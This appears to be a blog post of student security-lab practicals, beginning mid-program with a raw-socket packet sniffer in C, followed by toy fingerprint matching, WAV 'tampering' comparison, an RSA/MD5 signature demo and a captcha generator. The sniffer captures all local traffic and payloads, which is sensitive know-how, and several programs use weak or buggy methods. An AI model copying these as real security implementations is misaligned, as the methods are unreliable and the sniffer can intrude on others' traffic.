    int saddr_size , data_size;
    struct sockaddr saddr;
       
    unsigned char *buffer = (unsigned char *) malloc(65536); //Its Big!
   
    logfile=fopen("log.txt","w");
    if(logfile==NULL)
    {
        printf("Unable to create log.txt file.");
    }
    printf("Starting...\n");
   
    int sock_raw = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_ALL)) ;
    //setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")+ 1 );
   
    if(sock_raw < 0)
    {
        //Print the error with proper message
        perror("Socket Error");
        return 1;
    }
    while(1)
    {
        saddr_size = sizeof saddr;
        //Receive a packet
        data_size = recvfrom(sock_raw , buffer , 65536 , 0 , &saddr , (socklen_t*)&saddr_size);
        if(data_size <0 )
        {
            printf("Recvfrom error , failed to get packets\n");
            return 1;
        }
        //Now process the packet
        ProcessPacket(buffer , data_size);
    }
    close(sock_raw);
    printf("Finished");
    return 0;
}

void ProcessPacket(unsigned char* buffer, int size)
{
    //Get the IP Header part of this packet , excluding the ethernet header
    struct iphdr *iph = (struct iphdr*)(buffer + sizeof(struct ethhdr));
    ++total;
    switch (iph->protocol) //Check the Protocol and do accordingly...
    {
        case 1:  //ICMP Protocol
            ++icmp;
            print_icmp_packet( buffer , size);
            break;
       
        case 2:  //IGMP Protocol
            ++igmp;
            break;
       
        case 6:  //TCP Protocol
            ++tcp;
            print_tcp_packet(buffer , size);
            break;
       
        case 17: //UDP Protocol
            ++udp;
            print_udp_packet(buffer , size);
            break;
       
        default: //Some Other Protocol like ARP etc.
            ++others;
            break;
    }
    printf("TCP : %d   UDP : %d   ICMP : %d   IGMP : %d   Others : %d   Total : %d\r", tcp , udp , icmp , igmp , others , total);
}

void print_ethernet_header(unsigned char* Buffer, int Size)
{
    struct ethhdr *eth = (struct ethhdr *)Buffer;
   
    fprintf(logfile , "\n");
    fprintf(logfile , "Ethernet Header\n");
    fprintf(logfile , "   |-Destination Address : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X \n", eth->h_dest[0] , eth->h_dest[1] , eth->h_dest[2] , eth->h_dest[3] , eth->h_dest[4] , eth->h_dest[5] );
    fprintf(logfile , "   |-Source Address      : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X \n", eth->h_source[0] , eth->h_source[1] , eth->h_source[2] , eth->h_source[3] , eth->h_source[4] , eth->h_source[5] );
    fprintf(logfile , "   |-Protocol            : %u \n",(unsigned short)eth->h_proto);
}

void print_ip_header(unsigned char* Buffer, int Size)
{
    print_ethernet_header(Buffer , Size);
 
    unsigned short iphdrlen;
       
    struct iphdr *iph = (struct iphdr *)(Buffer  + sizeof(struct ethhdr) );
    iphdrlen =iph->ihl*4;
   
    memset(&source, 0, sizeof(source));
    source.sin_addr.s_addr = iph->saddr;
   
    memset(&dest, 0, sizeof(dest));
    dest.sin_addr.s_addr = iph->daddr;
   
    fprintf(logfile , "\n");
    fprintf(logfile , "IP Header\n");
    fprintf(logfile , "   |-IP Version        : %d\n",(unsigned int)iph->version);
    fprintf(logfile , "   |-IP Header Length  : %d DWORDS or %d Bytes\n",(unsigned int)iph->ihl,((unsigned int)(iph->ihl))*4);
    fprintf(logfile , "   |-Type Of Service   : %d\n",(unsigned int)iph->tos);
    fprintf(logfile , "   |-IP Total Length   : %d  Bytes(Size of Packet)\n",ntohs(iph->tot_len));
    fprintf(logfile , "   |-Identification    : %d\n",ntohs(iph->id));
    //fprintf(logfile , "   |-Reserved ZERO Field   : %d\n",(unsigned int)iphdr->ip_reserved_zero);
    //fprintf(logfile , "   |-Dont Fragment Field   : %d\n",(unsigned int)iphdr->ip_dont_fragment);
    //fprintf(logfile , "   |-More Fragment Field   : %d\n",(unsigned int)iphdr->ip_more_fragment);
    fprintf(logfile , "   |-TTL      : %d\n",(unsigned int)iph->ttl);
    fprintf(logfile , "   |-Protocol : %d\n",(unsigned int)iph->protocol);
    fprintf(logfile , "   |-Checksum : %d\n",ntohs(iph->check));
    fprintf(logfile , "   |-Source IP        : %s\n",inet_ntoa(source.sin_addr));
    fprintf(logfile , "   |-Destination IP   : %s\n",inet_ntoa(dest.sin_addr));
}

void print_tcp_packet(unsigned char* Buffer, int Size)
{
    unsigned short iphdrlen;
   
    struct iphdr *iph = (struct iphdr *)( Buffer  + sizeof(struct ethhdr) );
    iphdrlen = iph->ihl*4;
   
    struct tcphdr *tcph=(struct tcphdr*)(Buffer + iphdrlen + sizeof(struct ethhdr));
           
    int header_size =  sizeof(struct ethhdr) + iphdrlen + tcph->doff*4;
   
    fprintf(logfile , "\n\n***********************TCP Packet*************************\n");   
       
    print_ip_header(Buffer,Size);
       
    fprintf(logfile , "\n");
    fprintf(logfile , "TCP Header\n");
    fprintf(logfile , "   |-Source Port      : %u\n",ntohs(tcph->source));
    fprintf(logfile , "   |-Destination Port : %u\n",ntohs(tcph->dest));
    fprintf(logfile , "   |-Sequence Number    : %u\n",ntohl(tcph->seq));
    fprintf(logfile , "   |-Acknowledge Number : %u\n",ntohl(tcph->ack_seq));
    fprintf(logfile , "   |-Header Length      : %d DWORDS or %d BYTES\n" ,(unsigned int)tcph->doff,(unsigned int)tcph->doff*4);
    //fprintf(logfile , "   |-CWR Flag : %d\n",(unsigned int)tcph->cwr);
    //fprintf(logfile , "   |-ECN Flag : %d\n",(unsigned int)tcph->ece);
    fprintf(logfile , "   |-Urgent Flag          : %d\n",(unsigned int)tcph->urg);
    fprintf(logfile , "   |-Acknowledgement Flag : %d\n",(unsigned int)tcph->ack);
    fprintf(logfile , "   |-Push Flag            : %d\n",(unsigned int)tcph->psh);
    fprintf(logfile , "   |-Reset Flag           : %d\n",(unsigned int)tcph->rst);
    fprintf(logfile , "   |-Synchronise Flag     : %d\n",(unsigned int)tcph->syn);
    fprintf(logfile , "   |-Finish Flag          : %d\n",(unsigned int)tcph->fin);
    fprintf(logfile , "   |-Window         : %d\n",ntohs(tcph->window));
    fprintf(logfile , "   |-Checksum       : %d\n",ntohs(tcph->check));
    fprintf(logfile , "   |-Urgent Pointer : %d\n",tcph->urg_ptr);
    fprintf(logfile , "\n");
    fprintf(logfile , "                        DATA Dump                         ");
    fprintf(logfile , "\n");
       
    fprintf(logfile , "IP Header\n");
    PrintData(Buffer,iphdrlen);
       
    fprintf(logfile , "TCP Header\n");
    PrintData(Buffer+iphdrlen,tcph->doff*4);
       
    fprintf(logfile , "Data Payload\n");   
    PrintData(Buffer + header_size , Size - header_size );
                       
    fprintf(logfile , "\n###########################################################");
}

void print_udp_packet(unsigned char *Buffer , int Size)
{
   
    unsigned short iphdrlen;
   
    struct iphdr *iph = (struct iphdr *)(Buffer +  sizeof(struct ethhdr));
    iphdrlen = iph->ihl*4;
   
    struct udphdr *udph = (struct udphdr*)(Buffer + iphdrlen  + sizeof(struct ethhdr));
   
    int header_size =  sizeof(struct ethhdr) + iphdrlen + sizeof udph;
   
    fprintf(logfile , "\n\n***********************UDP Packet*************************\n");
   
    print_ip_header(Buffer,Size);           
   
    fprintf(logfile , "\nUDP Header\n");
    fprintf(logfile , "   |-Source Port      : %d\n" , ntohs(udph->source));
    fprintf(logfile , "   |-Destination Port : %d\n" , ntohs(udph->dest));
    fprintf(logfile , "   |-UDP Length       : %d\n" , ntohs(udph->len));
    fprintf(logfile , "   |-UDP Checksum     : %d\n" , ntohs(udph->check));
   
    fprintf(logfile , "\n");
    fprintf(logfile , "IP Header\n");
    PrintData(Buffer , iphdrlen);
       
    fprintf(logfile , "UDP Header\n");
    PrintData(Buffer+iphdrlen , sizeof udph);
       
    fprintf(logfile , "Data Payload\n");   
   
    //Move the pointer ahead and reduce the size of string
    PrintData(Buffer + header_size , Size - header_size);
   
    fprintf(logfile , "\n###########################################################");
}

void print_icmp_packet(unsigned char* Buffer , int Size)
{
    unsigned short iphdrlen;
   
    struct iphdr *iph = (struct iphdr *)(Buffer  + sizeof(struct ethhdr));
    iphdrlen = iph->ihl * 4;
   
    struct icmphdr *icmph = (struct icmphdr *)(Buffer + iphdrlen  + sizeof(struct ethhdr));
   
    int header_size =  sizeof(struct ethhdr) + iphdrlen + sizeof icmph;
   
    fprintf(logfile , "\n\n***********************ICMP Packet*************************\n");   
   
    print_ip_header(Buffer , Size);
           
    fprintf(logfile , "\n");
       
    fprintf(logfile , "ICMP Header\n");
    fprintf(logfile , "   |-Type : %d",(unsigned int)(icmph->type));
           
    if((unsigned int)(icmph->type) == 11)
    {
        fprintf(logfile , "  (TTL Expired)\n");
    }
    else if((unsigned int)(icmph->type) == ICMP_ECHOREPLY)
    {
        fprintf(logfile , "  (ICMP Echo Reply)\n");
    }
   
    fprintf(logfile , "   |-Code : %d\n",(unsigned int)(icmph->code));
    fprintf(logfile , "   |-Checksum : %d\n",ntohs(icmph->checksum));
    //fprintf(logfile , "   |-ID       : %d\n",ntohs(icmph->id));
    //fprintf(logfile , "   |-Sequence : %d\n",ntohs(icmph->sequence));
    fprintf(logfile , "\n");

    fprintf(logfile , "IP Header\n");
    PrintData(Buffer,iphdrlen);
       
    fprintf(logfile , "UDP Header\n");
    PrintData(Buffer + iphdrlen , sizeof icmph);
       
    fprintf(logfile , "Data Payload\n");   
   
    //Move the pointer ahead and reduce the size of string
    PrintData(Buffer + header_size , (Size - header_size) );
   
    fprintf(logfile , "\n###########################################################");
}

void PrintData (unsigned char* data , int Size)
{
    int i , j;
    for(i=0 ; i < Size ; i++)
    {
        if( i!=0 && i%16==0)   //if one line of hex printing is complete...
        {
            fprintf(logfile , "         ");
            for(j=i-16 ; j<i ; j++)
            {
                if(data[j]>=32 && data[j]<=128)
                    fprintf(logfile , "%c",(unsigned char)data[j]); //if its a number or alphabet
               
                else fprintf(logfile , "."); //otherwise print a dot
            }
            fprintf(logfile , "\n");
        }
       
        if(i%16==0) fprintf(logfile , "   ");
            fprintf(logfile , " %02X",(unsigned int)data[i]);
               
        if( i==Size-1)  //print the last spaces
        {
            for(j=0;j<15-i%16;j++)
            {
              fprintf(logfile , "   "); //extra spaces
            }
           
            fprintf(logfile , "         ");
           
            for(j=i-i%16 ; j<=i ; j++)
            {
                if(data[j]>=32 && data[j]<=128)
                {
                  fprintf(logfile , "%c",(unsigned char)data[j]);
                }
                else
                {
                  fprintf(logfile , ".");
                }
            }
           
            fprintf(logfile ,  "\n" );
        }
    }
}


 -----------------------------------------------------------------

     Practical:B14 Fingerprint recognization

 -----------------------------------------------------------------



import java.awt.Image;
import java.awt.Toolkit;
import java.awt.image.PixelGrabber;
public class Compare {
static void processImage() {
String file1 = "p4.jpg";
String file2 = "p5.jpg";
Image image1 = Toolkit.getDefaultToolkit().getImage(file1);
Image image2 = Toolkit.getDefaultToolkit().getImage(file2);
try {
PixelGrabber grab1 =new PixelGrabber(image1, 0, 0, -1, -1, false);
PixelGrabber grab2 =new PixelGrabber(image2, 0, 0, -1, -1, false);
int[] data1 = null;
if (grab1.grabPixels()) {
int width = grab1.getWidth();
int height = grab1.getHeight();
data1 = new int[width * height];
data1 = (int[]) grab1.getPixels();
}
int[] data2 = null;
if (grab2.grabPixels()) {
int width = grab2.getWidth();
int height = grab2.getHeight();
data2 = new int[width * height];
data2 = (int[]) grab2.getPixels();
}
System.out.println("Fingerprint matches : " + java.util.Arrays.equals(data1, data2));
} catch (InterruptedException e1) {
e1.printStackTrace();
}
}
public static void main(String args[]) {
processImage();
}
}



/* OUTPUT

administrator@administrator-OptiPlex-3010:~/Desktop$ javac Compare.java
administrator@administrator-OptiPlex-3010:~/Desktop$ java Compare
Fingerprint matches : true
administrator@administrator-OptiPlex-3010:~/Desktop$

*/








 -----------------------------------------------------------------

     Practical:b15 Voice tampering

 -----------------------------------------------------------------

 #include <iostream>
#include <stdio.h>
#include <stdlib.h>
using namespace std;

// WAVE PCM soundfile format

typedef struct header_file
{
    char chunk_id[4];
    int chunk_size;
    char format[4];
    char subchunk1_id[4];
    int subchunk1_size;
    short int audio_format;
    short int num_channels;
    int sample_rate;            // sample_rate denotes the sampling rate.
    int byte_rate;
    short int block_align;
    short int bits_per_sample;
    char subchunk2_id[4];
    int subchunk2_size;         // subchunk2_size denotes the number of samples.
} header;

int bupher1[10000000];
int bupher2[10000000];
typedef struct header_file* header_p;
    
int compare(int ch)
{

    char filename1[9];
    FILE * infile1;
    if(ch==1)
    {  
        infile1 = fopen("abc.wav","rb");   // Open wave file in read mode
    }
    if(ch==2)
    {
        infile1 = fopen("xyz.wav","rb");
    }

    int o=0;
    int BUFSIZE = 256;                  // BUFSIZE can be changed according to the frame size required (eg:512)
    int count = 0;                      // For counting number of frames in wave file.
    short int buff16[BUFSIZE];          // short int used for 16 bit as input data format is 16 bit PCM audio
    header_p meta = (header_p)malloc(sizeof(header));   // header_p points to a header struct that contains the wave file metadata fields
    int nb;                             // variable storing number of bytes returned



    if (infile1)
    {
        fread(meta, 1, sizeof(header), infile1);
    if(ch==1)
    {
    cout<<"\nFile 1 details : ";
    }
    if(ch==2)
    {
    cout<<"\nFile 2 details : ";
    }
        cout << "\n\n Size of Header file is "<<sizeof(*meta)<<" bytes" << endl;
        cout << " Sampling rate of the input wave file is "<< meta->sample_rate <<" Hz" << endl;
        cout << " Number of samples in wave file are " << meta->subchunk2_size << " samples" << endl;
        cout << " The number of channels of the file is "<< meta->num_channels << " channels" << endl;

        while (!feof(infile1))
        {

        nb = fread(buff16,1,BUFSIZE,infile1);    // Reading data in chunks of BUFSIZE
        do{
        for(int a=0;a<=15;a++)
        {
            if(ch==1)
            {
            bupher1[o]=buff16[a];
            o++;
            }
            if(ch==2)
            {            bupher2[o]=buff16[a];
            o++;
            }
        }
        }while(o<1000000);
        count++;                    // Incrementing Number of frames
        }
    cout << " Number of frames in the input wave file are " <<count << endl;
    }

    return 0;
}
        
int main()
        
{
    compare(1);    //Extract samples from first file
    cout<<"\n";
    compare(2);    //Extract samples from second file

    for(int yo=0;yo<1000000;yo++)
    {
         if(bupher2[yo]==bupher1[yo])
         {
         }
         else
         {
             cout<<"\nTampering detected.\n\n";
             return 0;
         }
    }
    cout<<"\nAuthenticity determined.\n\n";
    return 0;
}
/******** OUTPUT *********
administrator@administrator-OptiPlex-3010:~/Desktop$ g++ Final.cpp -o Final
administrator@administrator-OptiPlex-3010:~/Desktop$ ./Final

File 1 details :

 Size of Header file is 44 bytes
 Sampling rate of the input wave file is 8000 Hz
 Number of samples in wave file are 291939 samples
 The number of channels of the file is 2 channels
 Number of frames in the input wave file are 185


File 2 details :

 Size of Header file is 44 bytes
 Sampling rate of the input wave file is 8000 Hz
 Number of samples in wave file are 33992 samples
 The number of channels of the file is 2 channels
 Number of frames in the input wave file are 133

Tampering detected.

administrator@administrator-OptiPlex-3010:~/Desktop$ */


 -----------------------------------------------------------------

     Practical:B17 Digital signature

 -----------------------------------------------------------------

 
#Public/Private key pair
from Crypto.Hash import MD5
from Crypto.PublicKey import RSA
from Crypto import Random

#Private key of A
random_generator=Random.new().read
prv_keyA=RSA.generate(2048,random_generator)
prvkeyA=str(prv_keyA)
fd = open("/home/ccompl04-12/Desktop/prvkeyA.pem", 'w')
fd.write(prvkeyA)
fd.close()

#Public key of A
pub_keyA=prv_keyA.publickey()
pubkeyA=str(pub_keyA)
fd = open("/home/ccompl04-12/Desktop/pubkeyA.pem", 'w')
fd.write(pubkeyA)
fd.close()

#Now A will send this Public key to B through some secure network



#Encryption done by B using A's Public key

enc_data=pub_keyA.encrypt('Hello A, This encryption is done by B',32)
print "Encrypted data :",enc_data
encdata=str(enc_data)
fd = open("/home/ccompl04-12/Desktop/sent_message.txt", 'w')
fd.write(encdata)
fd.close()


#B will send encryted text to A over public network

#Decryption on A's End

dec_data=prv_keyA.decrypt(enc_data)
print "Decrypted data :",dec_data
decdata=str(dec_data)
fd = open("/home/ccompl04-12/Desktop/recieved_message.txt", 'w')
fd.write(decdata)
fd.close()

# Signature

text="It's B"
hash=MD5.new(text).digest()

signature=prv_keyA.sign(hash,'')
signa=str(signature)
fd = open("/home/ccompl04-12/Desktop/signature.txt", 'w')
fd.write(signa)
fd.close()

#Verify
# To verify A will ask B for it's signature and check on its own end

text ="It's B"
hash=MD5.new(text).digest()
print "KEY MATCH :",pub_keyA.verify(hash, signature)
result=pub_keyA.verify(hash, signature)
if(result==True):
print "Signature verified"
elif(result==False):
print "Signature Tampered"



/* OUTPUT

administrator@administrator-OptiPlex-3010:~/Desktop$ python final.py


Encrypted data : ("\x8c#+\xc4\t\x8b\x03\x9b\x82PX\x7f8\xb0\xcb\x92\xbdp\x13\x1a[\xd5\x8e\xf0p'Cl\xef\x04\xbah'&\xec\xd8\xd2\x90Ns3Da\x9aA\xad\xfc\x03\xd6\xfaD8d\xca\x86\x01\x05U\xd1\x14\xa8\x9b\xfe\x81\x16fLI\xae@\x9e\xfa\x9d\xb8,a0\xfc\x15\xda[\x0fJ\x9d\xd8W\xd5\xbfq{ze3\xb8\xd0\xd0\x0c\xe6\xce\xf6\x13\xd4\x18\\\x0c\xd8\xfe\x95\x12\xf0%.T\t\x1e\xe2VH\x8a\xa0\x1adU\xee zH\x90l\xdd\xe0P\x81u\xb0m\xf2\x9dg+\xf6\xceL\xb0a\xa4\x90\x0e\x97-\x83d\xbdM\xe3\x0c\xac!~)u\xd4\xdf\xb6\x1bq\xa4\xf2\x90\xe0d\x1f\xe5\xc7\xb59kt\x1e\xd4\xecg\xfae\xd5\xe9N\nP\xc9s/\x9b\x9dFp\x060,T\xc5\xeb\xad\xca\xfa\xcb~3\xb8\x04\xb0]\xc6NYK\x15\xbaH \x93E]R<3M\xb9d\xe9_\xf3=Or\x8c\x08+\n\xa8\x16\xc5|\x17\x0e\xfdIle\x9a\x9d\x12\xec\x95>\x1e",)
Decrypted data : Hello A, This encryption is done by B


KEY MATCH : True
Signature verified

*/




 -----------------------------------------------------------------

     Practical:C2 Capcha generation

 -----------------------------------------------------------------


import java.util.*; 
import java.io.*;

public class Captcha
{
        
    public String generateCaptcha()
    { 
        Random random = new Random(); 
        int length = 5; 
        StringBuffer captchaStringBuffer = new StringBuffer(); 
        for (int i = 0; i < length; i++)
        { 
            int captchaNumber = Math.abs(random.nextInt()) % 60; 
            int charNumber = 0; 
            if (captchaNumber < 26)
            { 
                    charNumber = 65 + captchaNumber; 
                   } 
                  else if (captchaNumber < 52)
            { 
                        charNumber = 97 + (captchaNumber - 26); 
                  } 
                   else
            { 
                    charNumber = 48 + (captchaNumber - 52); 
                   } 
                   captchaStringBuffer.append((char)charNumber); 
              } 
     
              return captchaStringBuffer.toString(); 
         }

    public static void main(String[] args)throws IOException
    { 
               Captcha captcha = new Captcha(); 
               String str = captcha.generateCaptcha();
        System.out.println("Randomly Selected Captcha string is : "+str);
        DataInputStream in=new DataInputStream(System.in);
        String name;
        System.out.println("Enter Captcha String name : ");
        name=in.readLine();
        if(str.equals(name))
        {
            System.out.println("Both strings are same....");
        }
        else
        {
            System.out.println("Both strings are not same....");
        }
    } 
}






/*---------------------------------------------------
        OUTPUT
-----------------------------------------------------



administrator@administrator-Vostro-230:~/Desktop/TE_73/PL_02/Assgnmnt02$ javac Captcha.java
Note: Captcha.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
administrator@administrator-Vostro-230:~/Desktop/TE_73/PL_02/Assgnmnt02$ java Captcha
Randomly Selected Captcha string is : bKM5L
Enter Captcha String name :
bKM5L
Both strings are same....
administrator@administrator-Vostro-230:~/Desktop/TE_73/PL_02/Assgnmnt02$ java Captcha
Randomly Selected Captcha string is : qe6Ji
Enter Captcha String name :
Qe6ji
Both strings are not same....
administrator@administrator-Vostro-230:~/Desktop/TE_73/PL_02/Assgnmnt02$

*/




OR

1. Download *.war file from following URL.
http://sourceforge.net/projects/simplecaptcha/files/simplecaptcha-1.2-j2ee-sample.war/download

2. First Install Glassfish Server
https://glassfish.java.net/download.html

3. Browse Glassfish in the browser : http://localhost:4848

4. Deploy *.war file in glassfish as follows..Deployment->Deploy an application ->Browse *.war file ->ok

No comments: